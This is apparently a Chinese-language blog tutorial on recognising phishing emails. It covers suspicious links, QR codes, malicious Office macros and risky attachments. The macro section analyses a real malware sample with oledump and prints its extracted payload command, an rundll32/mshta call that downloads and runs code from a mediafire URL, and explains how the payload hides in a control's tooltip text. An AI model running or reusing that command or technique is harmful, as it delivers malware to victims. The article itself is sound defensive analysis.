识别钓鱼邮件
识别钓鱼邮件
0x00 初言
钓鱼邮件手法基本如图所示
了解基本的钓鱼手法,那么我们开始分析检测吧!
0x01 恶意链接
这种钓鱼邮件基本上都是为了骗取内部员工的账号密码,但是也有一些链接是为了让内部人员下载恶意文件。
当邮件中带有链接的情况,如何知道链接是否属于恶意链接:
1.查看链接域名所属单位
2.把链接放到微步或其他安全社区查询
3.可以尝试把链接放到搜索引擎搜索
4.询问相关人员,询问相关人员时,要防止骇客控制社交账号。最好是直接打电话询问!千万不要发邮件询问!!!
0x02 二维码
当邮件中带有二维码时,可以先尝试使用手机中的扫一扫功能,这个扫一扫功只是扫二维码的内容。如果没有扫一扫功能,可以使用网上的在线二维码识别。
判断二维码是否属于恶意的情况,可以使用恶意链接
的识别方式。
0x03 宏文件
通过宏文件钓鱼,这是攻击队常用的手段,而且该手段在钓鱼邮件中成功率很高。
当邮件附件中附带有office类型的表格时,需要额外注意。不要轻易打开该表格,打开之前可以使用脚本查看一下宏代码。
我这里使用DidierStevens的oledump.py
查看宏代码。
由于目前手上没有合适的样本,我在any.run
上下载一个样本下来分析。
使用oledump
vba解压xls
表格
1 | python3 oledump.py ./SecuriteInfo.com.VBA.Logan.3458.21366.25107.xls -v |
只有带有m或M
标志才能使用-s
参数显示
我这里查看'_VBA_PROJECT_CUR/VBA/ThisWorkbook'
宏代码
1 | python3 oledump.py ./SecuriteInfo.com.VBA.Logan.3458.21366.25107.xls -s 8 -v |
这里我们重点看到下面两句代码
lupatakamuchi = lol.lo.ControlTipText
将lol.lo.ControlTipText
值赋值给lupatakamuchi
GetObject(chod).Get(clean).Create lupatakamuchi, Null, Null, pid
运行lupatakamuchi
代码
1 | lupatakamuchi = lol.lo.ControlTipText |
现在跟进进到lupatakamuchi
代码
1 | python3 oledump.py ./SecuriteInfo.com.VBA.Logan.3458.21366.25107.xls -s 20 -d |
现在我们提取攻击代码
1 | rundll32 SHELL32.DLL,ShellExec_RunDLL "mshta" "https://www.mediafire.com/file/wl6yiuw4vwpmfkk/14.htm/file" |
现在我们明白了,该文档的宏是恶意的,是攻击队发送的钓鱼邮件。
我知道前面的脚本提取有些奇怪,因为我是先打开文档看过一遍才使用脚本的。所有有点奇怪!
接着我们使用手工查看宏代码
使用手工打开文档前,需要使用虚拟机。
使用office
打开文档
快捷键alt+F8
打开宏
点击编辑
,查看宏代码
代码就不过多介绍了
跟进lol.lo.ControlTipText
ControlTipText
信息就是恶意代码
了,隐藏恶意代码,这是攻击者经常用到的手段。
0x04 附件
由于平时正常发送的邮件也会经常附带附件,所以我们打开压缩包时需要额外注意。附件文件是什么类型!比如附件是.exe
或者.lnk
文件不是常规的dox
或pdf
形式。当然这不是说是pdf
等文件格式就一定安全,具体问题具体分析。只是我们遇到exe
等可执行文件风险更高!
至于如何失败恶意附件呢!
1.电话联系发送邮件员工
2.压缩包是否设置有密码
3.查看压缩包是否存在自解压代码
4.查看压缩包内的文件类型
0x05 终言
识别钓鱼邮件需要多个信息才能判断的,不是说是exe
类型文件就一定是恶意,也不是说是pdf
类型就一定是正常文件,还是需要多观察多联系相关人员才能下判断。
很多时候,钓鱼邮件都是依靠受害者交互才能完成攻击的,因此当我们发现有异样的邮件时,需要不怕麻烦的联系相关人员,而不是按照邮件内容操作!!!
当然我知道上面的方法不一定能百分百识别钓鱼邮件,而且识别钓鱼邮件方式还有一些我没讲到的,比如查询文件md5
等,这些都是可以的。上述的方法不是唯一的,还有很多方法识别钓鱼邮件,我这里只是举一些简单的例子!